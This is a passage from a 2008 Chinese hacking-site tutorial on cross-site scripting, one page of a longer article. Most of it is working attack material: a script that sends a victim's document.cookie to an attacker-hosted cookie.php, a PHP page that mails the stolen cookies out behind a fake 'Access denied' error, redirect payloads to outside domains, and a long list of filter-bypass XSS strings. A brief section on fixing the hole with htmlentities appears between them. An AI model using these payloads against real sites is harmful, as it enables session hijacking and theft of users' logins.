奥运倒计时: 2008 中国挺住,中国加油! 全国人民对四川汶川大地震遇难同胞的深切哀悼! 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客编程 >> 正文

[图文]跨站脚本-攻击和防御指向

作者:二少    文章来源:互联网    点击数:    更新时间:2008-5-1
n/cookie.php?cookies="+document.cookie);
</script>

(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TransITional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transITional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</tITle>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>

这对于攻击者还不够,等着还不如接收电子邮件。

修补漏洞
为修复XSS漏洞使用htmlentITies

在第16行放置
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['VulnerabilITy']; ?></strong>
</body>
By:
<body>
<span class="alerte">Search result :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['VulnerabilITy']); } ?></strong>
</body>
use htmlspecialchars() function in PHP

other function:
htmlentITies() quotes
strip_tags()
...
____ ____

要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:

利用image:
<IMG SRC="/Article/UploadFiles/200805/20080501095810619.png">
利用flash:
<EMBED SRC="http://hax0r.com/Haxored.swf">

重定向:
<script>window.open( "http://lovelaozang.cn/xss.html" )</script>

还有:
<meta http-equiv="refresh" content="0; url=http://lovelaozang.cn/xss.html" />

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 6 - 过滤绕过 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

事实上也不是那么简单就能绕过
htmlspecialchars()

这里有一些关于绕过xss的例子:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !";

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</tITle><script>alert(/xss/)</script>

<script src=http://yoursITe.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav&#x0D;ascr

上一页  [1] [2] [3] [4] 下一页

文章录入:二少    责任编辑:放弃 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章一句话木马用Upfile.vbs脚本
    推荐文章软件破解教程-第6章第3节 加密算法5
    推荐文章软件破解教程-第6章第3节 加密算法4
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章软件破解教程-常用Win32 API函数简介
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
     热门文章
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
    推荐文章详解Visual C#数据库编程
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章网站防止注入入侵的一些有效代码和方法
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号